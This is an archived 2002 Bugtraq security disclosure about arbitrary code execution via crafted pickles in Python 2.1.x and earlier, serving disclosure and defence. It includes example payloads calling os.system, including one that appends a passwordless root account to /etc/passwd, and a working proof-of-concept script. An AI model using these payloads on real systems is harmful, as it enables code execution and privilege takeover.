The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Хинт: Доступна новая система навигации "Дерево ключевых слов" - поиск нужного материала во всех разделах сайта на одной странице.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

Exploit for a security hole in the pickle module for Python versions <= 2.1.x


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Wed, 17 Jul 2002 07:45:17 -0500
From: Jeff Epler <jepler@unpythonic.net>
To: bugtraq@securityfocus.com
Subject: Exploit for a security hole in the pickle module for Python versions <= 2.1.x

"""
Exploit for a security hole in the pickle module for Python versions <= 2.1.x

Pickle is the name of a Python module for object persistence.  It can convert
arbitrary Python objects into byte streams and back.  Though the documentation
for Python 1.5.2 read
    The pickle module doesn't handle code objects, which the marshal
    module does. I suppose pickle could, and maybe it should, but there's
    probably no great need for it right now (as long as marshal continues
    to be used for reading and writing code objects), and at least this
    avoids the possibility of smuggling Trojan horses into a program.
it was always generally considered that a carefully-crafted "pickle" could
execute arbitrary code.

In Python 2.0, one hole was closed which was due to the use of eval() to
unpickle a string.  This hole could be exploited with a pickle string like
    "S''*__import__('os').system('echo 0wn3d')\np0\n."

In Python version 2.2, a new restriction was added to unpickling of
instances: when unpickle would have called a constructor, the class
must define an attribute __safe_for_unpickling__ with a true value,
or an exception will be raised.  Because a "class constructor" is
simply a callable object, a pickle can be written that names any function
and gives it arbitrary arguments.  Thus, a specially crafted pickle might
contain the instruction
    instantiate the class os.system with the argument
	"echo r00t::0:0::/:/bin/sh >> /etc/passwd"

Many major Linux distributions still ship with Python 1.5.2, which is
vulnerable to both of these types of exploits.  Some ship with 2.0 or 2.1,
usually in addition to 1.5.2.  These versions are vulnerable to the second
type of exploit.  I don't know of a Linux distribution which ships with
only python 2.2, which is free from both these problems.  However,
I know of no particular uses that lead to a direct security breach.
"""

import pickle, new

def nasty(module, function, *args):
    return pickle.dumps(new.classobj(function, (), {
	'__getinitargs__': lambda self, arg = args: arg,
	'__module__': module
    }) ())

# Create the evil pickle
t = nasty("__builtin__", "open", "/tmp/pickle-bug", "w")
# Show the user how it looks
print repr(t)
# Now, load the pickle -- creates the file /tmp/python-is-buggy (by calling
# the builtin open() function, then raises an exception.  But the damage is
# done...
pickle.loads(t)

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList